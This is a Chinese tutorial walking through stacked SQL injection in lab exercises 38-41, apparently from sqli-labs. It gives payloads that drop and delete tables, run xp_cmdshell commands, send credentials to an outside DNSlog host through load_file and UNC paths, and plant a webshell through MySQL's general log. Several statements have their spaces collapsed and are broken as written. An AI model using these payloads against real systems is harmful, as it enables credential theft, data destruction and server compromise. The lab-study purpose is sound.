0x01 堆叠注入 38-53
堆叠注入原理
在 SQL 中分号;
用来表示一条SQL语句的结束,在;
后再添加一条SQL语句会导致两条语句一起执行,这就是堆叠注入。它与联合查询注入有什么区别呢?区别就是联合查询使用的union
或union select
执行语句的类型是有限的,它只能使用查询语句;而堆叠注入可执行任意语句。举例如下:
# 用户提交
id=1;deletefrom users
# 如果服务器未检查就会直接生成SQL语句
SELECT*FROM users WHERE id=1;DELETEFROM users
# 执行后会显示查询信息,然后删除整个表
当然堆叠注入不是在每种环境下都可执行,它可能收到 API 或数据库引擎不支持的限制,与此同时权限不足也会导致攻击者无法修改数据或调用程序。这种注入方式并不是完美的,通常情况下 web 应用系统只会返回一个查询结果,因此会导致第二个查询语句被忽略或报错,我们在前端无法查看到返回结果。联合查询注入应与堆叠注入相辅相成。尝试读取数据可使用联合查询注入,堆叠注入也需要依赖联合查询拿到的表名、列名等。以下将介绍几个常用数据库的增删改查
MySQL
select*from users where id=1;createtable test like users;#新建test表
select*from users where id=1;droptable test;#删除test表
select*from users where id=1;select1,2,3;#查询数据
select*from users where id=1;select load_file('c:/mac.php')#读取文件
select*from users where id=1;insertinto users(id,username,password)values('50','mac','mac')#添加数据
需要注意的是load_file()
函数可读取文件并返回字符串内容。与此同时我们要满足以下条件:
- 需要读取的文件必须存在于服务器上且知道它的绝对路径
- 当前用户具有 FILE 权限
- 需要读取的文件所有字节刻度,但内容必须小于
max_allowed_packet
至于 MySQL 默认导出导出参数secure_file_priv
已经在 Lesson7 中介绍过了,这里就不再赘述。
SQL Server
select*from users where id=1;createtable test(ss CHAR(8));#新建test表
select*from users where id=1;droptable test;#删除test表
select*from users where id=1;select1,2,3;#查询数据
select*from users where id=1;update test set name='mac'where id=1;#修改数据
select*from users where id=1;exec master..xp_cmdshell 'ipconfig';#命令执行
Oracle
Oracle 不能使用堆叠注入,同一行中执行两条语句会直接报错无效字符
PostgreSQL
select*from users where id=1;createtable test(id Date);#新建test表
select*from users where id=1;deletefrom test;#删除test表
select*from users where id=1;select1,2,3;#查询数据
select*from users where id=1;update test set name='mac'where id=1;#修改数据
Lesson-38
该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注、堆叠注入
id=1'
目标SQL语句如下:
$sql=select*fromuserswhereid='$id'limit0,1
# 返回内容
ifmysqli_multi_query($con1, $sql):
输出查询内容;
else:
print_r(mysql_error());
注意:该题与Lesson1的利用方式相同,唯一的区别在于mysqli_multi_query()
函数,该函数可用于执行一个或多个使用分号分隔的SQL语句,由于支持多个SQL语句那我们就可使用堆叠注入进行利用
由于堆叠可执行任意 SQL 语句,那么我们就有多种方式进行注入利用,使用堆叠注入判断注入点,尝试验证
id=1' AND '1'='1 //返回正常界面
id=1' AND '1'='2 //返回错误界面
添加字段值
id=1';insert into users(username,password) values('mac','mac')--+
通过联合查询查看数据,发现字段值已添加
id=-1' union select 1,group_concat(username),group_concat(password) from users--+
dnslog外带数据利用:load_file()
在 Linux 下无法使用 dnslog 进行攻击,这是因为 Windows 有 UNC 路径,而 Linux 没有。那什么是 UNC 路径呢?UNC 路径是通过命名规定用于远程共享文件的一种格式,具体格式如下:
\\servername\sharename\filname
例如\\192.168.0.132\mac\
是一个的典型的 UNC 路径,MySQL 中的concat
函数会拼接这其中的反斜杠符\
,通过转移反斜杠符\
变成了两个反斜杠符\\
,利用 UNC 路径可完成 dnslog 外带数据攻击
id=1';select load_file(concat('\\\\',(select hex(concat_ws(0x7e,username,password)) from users limit 0,1),'.qk9fw5.ceye.io\\mac'))--+
在 dnslog 平台上返回查询结果,使用 hex 编码可有效减少特殊符号的干扰
解码 hex 编码还原数据
echo 44756D627E44756D62 | python3 -c "import sys, binascii; sys.stdout.buffer.write(binascii.unhexlify(input().strip()))"
在 MySQL 还可以利用日志获取权限,首先查询当前日志的相关配置
SHOW VARIABLES LIKE 'general%';
尝试通过堆叠注入开启日志并设置日志存储路径
id=1';set global general_log="on";set global general_log_file='C:\\phpStudy\\PHPTutorial\\WWW\\mac.php';--+
再次查看日志,发现日志配置已修改完成
SHOW VARIABLES LIKE 'general%';
尝试写入webshell
id=1';select <?php phpinfo();?>
访问木马地址mac.php
成功解析
Lesson-39
该题为数字型get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注、堆叠注入
id=1'
目标SQL语句如下:
$sql=select*fromuserswhereid=$idlimit0,1
# 返回内容
ifmysqli_multi_query($con1, $sql):
输出查询内容;
else:
print_r(mysql_error());
注意:该题与Lesson38的利用方式相同,唯一的区别在于拼接方式由单引号转为了数字
使用堆叠注入判断注入点,尝试验证
id=1AND1=1 //返回正常界面
id=1AND1=2 //返回错误界面
添加字段值
id=1;insertinto users(username,password)values('mac','mac')--+
通过联合查询查看数据,发现字段值已添加
id=-1unionselect1,group_concat(username),group_concat(password)from users--+
Lesson-40
该题为单括号单引号get型注入,利用方式包括联合查询注入、布尔盲注、时间盲注、堆叠注入
id=1'
目标SQL语句如下:
$sql=select*fromuserswhereid=('$id') limit0,1
# 返回内容
ifmysqli_multi_query($con1, $sql):
输出查询内容;
else:
输出空;
注意:该题与Lesson38的利用方式相同,唯一的区别在于拼接方式由单引号转为了单括号单引号,同时不再输出详细的报错信息,因此无法使用报错注入
使用堆叠注入判断注入点,尝试验证
id=1') AND ('1')=('1 //返回正常界面
id=1AND1=2 //返回错误界面
添加字段值
id=1');insert into users(username,password) values('mac','mac')--+
通过联合查询查看数据,发现字段值已添加
id=-1') union select 1,group_concat(username),group_concat(password) from users--+
Lesson-41
该题为数字型get型注入,利用方式包括联合查询注入、布尔盲注、时间盲注、堆叠注入
id=1'
目标SQL语句如下:
$sql=select*fromuserswhereid=$idlimit0,1
# 返回内容
ifmysqli_multi_query($con1, $sql):
输出查询内容;
else:
输出空;
注意:该题与Lesson38的利用方式相同,唯一的区别在于拼接方式由单引号转为了单括号单引号,同时不再输出详细的报错信息,因此无法使用报错注入
使用堆叠注入判断注入点,尝试验证
id=1AND1=1 //返回正常界面
id=1AND1=2 //返回错误界面
添加字段值
id=1;insertinto users(username,password)values('mac','mac')--+
通过联合查询查看数据,发现字段值已添加
id=-1unionselect1,group_concat(username),group_concat(password)from users--+